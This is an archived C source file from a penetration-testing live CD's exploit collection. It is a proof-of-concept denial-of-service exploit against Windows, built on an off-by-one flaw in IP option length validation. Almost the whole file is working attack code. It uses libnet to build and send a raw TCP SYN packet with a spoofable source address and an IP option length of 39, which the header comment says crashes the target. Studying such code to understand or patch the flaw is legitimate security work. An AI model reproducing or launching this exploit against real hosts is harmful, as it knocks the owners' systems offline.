home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / ecl-winipdos.c < prev    next >
C/C++ Source or Header  |  2005-05-06  |  3KB  |  143 lines

  1. /* ecl-winipdos.c - 16/04/05
  2. * Yuri Gushin <yuri@eclipse.org.il>
  3. * Alex Behar <alex@eclipse.org.il>
  4. *
  5. * This one was actually interesting, an off-by-one by our beloved
  6. * M$ :)
  7. *
  8. * When processing an IP packet with an option size (2nd byte after
  9. * the option) of 39, it will crash - since the maximum available
  10. * size is 40 for the whole IP options field, and two are already used:
  11. * [ OPT ] [ SIZE ] [ 38 more bytes ]
  12. * Checks are done to validate that the option-size field is less than
  13. * 40, where a value less than !39! should be checked for validation.
  14. *
  15. * Note that this doesn't affect ALL options, and is also dependant upon
  16. * the underlying protocol.
  17. * Anyways, a small PoC to see how it works and why, tweak test and
  18. * explore, have fun :)
  19. *
  20. *
  21. * Greets fly out to the ECL crew, Valentin Slavov, blexim, stranger,
  22. * manevski, elius, shrink, Evgeny Pinchuk, Ishay Sommer, and anyone else
  23. * who got left out :D
  24. *
  25. */
  26.  
  27.  
  28. #ifndef _BSD_SOURCE
  29. #define _BSD_SOURCE
  30. #endif
  31.  
  32. #include <stdio.h>
  33. #include <string.h>
  34. #include <time.h>
  35. #include <libnet.h>
  36.  
  37. #define IP_H 20
  38. #define IPOPTS_MAX 40
  39.  
  40. void banner();
  41. void usage(char *);
  42.  
  43. int main(int argc, char **argv)
  44. {
  45. char errbuf[LIBNET_ERRBUF_SIZE];
  46. libnet_t *l;
  47. char *device = NULL;
  48.  
  49. int c;
  50. u_char *buf;
  51. int packet_len = 0;
  52.  
  53. struct ip *IP;
  54. struct tcphdr *TCP;
  55. u_int32_t src = 0, dst = 0;
  56.  
  57.  
  58. banner();
  59. if (argc < 4) usage(argv[0]);
  60.  
  61. if ((l = libnet_init(LIBNET_RAW4, device, errbuf)) == NULL) {
  62. fprintf(stderr, "libnet_init() failed: %s", errbuf);
  63. exit(-1);
  64. }
  65.  
  66. if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
  67. fprintf(stderr, "Unresolved source address\n");
  68. exit(-1);
  69. }
  70. if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
  71. fprintf(stderr, "Unresolved destination address\n");
  72. exit(-1);
  73. }
  74.  
  75. if ( (buf = malloc(IP_MAXPACKET)) == NULL ) {
  76. perror("malloc");
  77. exit(-1);
  78. }
  79.  
  80. buf[20] = atoi(argv[3]);
  81. buf[21] = 39; // our malformed size
  82.  
  83. for (c = 0; c<38; c+=3)
  84. strncpy(&buf[22+c], "ECL", 3); // padding
  85.  
  86. TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX);
  87. TCP->th_off = 5;
  88.  
  89. packet_len = IP_H + IPOPTS_MAX + (TCP->th_off << 2);
  90.  
  91. srand(time(NULL));
  92. IP = (struct ip *) buf;
  93. IP->ip_v = 4; /* version 4 */
  94. IP->ip_hl = 5 + (IPOPTS_MAX / 4);/* 60 byte header */
  95. IP->ip_tos = 0; /* IP tos */
  96. IP->ip_len = htons(packet_len); /* total length */
  97. IP->ip_id = rand(); /* IP ID */
  98. IP->ip_off = htons(0); /* fragmentation flags */
  99. IP->ip_ttl = 64; /* time to live */
  100. IP->ip_p = IPPROTO_TCP; /* transport protocol */
  101. IP->ip_sum = 0;
  102. IP->ip_src.s_addr = src;
  103. IP->ip_dst.s_addr = dst;
  104.  
  105. TCP->th_sport = htons(1337);
  106. TCP->th_dport = htons(80);
  107. TCP->th_seq = 0;
  108. TCP->th_ack = 0;
  109. TCP->th_x2 = 0;
  110. TCP->th_flags = TH_SYN;
  111. TCP->th_win = rand() & 0xffff;
  112. TCP->th_sum = 0;
  113. TCP->th_urp = 0;
  114.  
  115. libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_off << 2);
  116.  
  117. if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
  118. {
  119. fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
  120. exit(-1);
  121. }
  122.  
  123. printf("Packet sent.\n");
  124.  
  125. libnet_destroy(l);
  126. free(buf);
  127. return (0);
  128. }
  129.  
  130. void usage(char *cmd)
  131. {
  132. printf("Usage: %s <source> <destination> <option>\n",cmd);
  133. exit(-1);
  134. }
  135.  
  136. void banner()
  137. {
  138. printf("\t\tWindows malformed IP Options DoS exploit\n"
  139. "\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
  140. "\t\t Alex Behar <alex@eclipse.org.il>\n"
  141. "\t\t\t ECL Team\n\n\n");
  142. }
  143.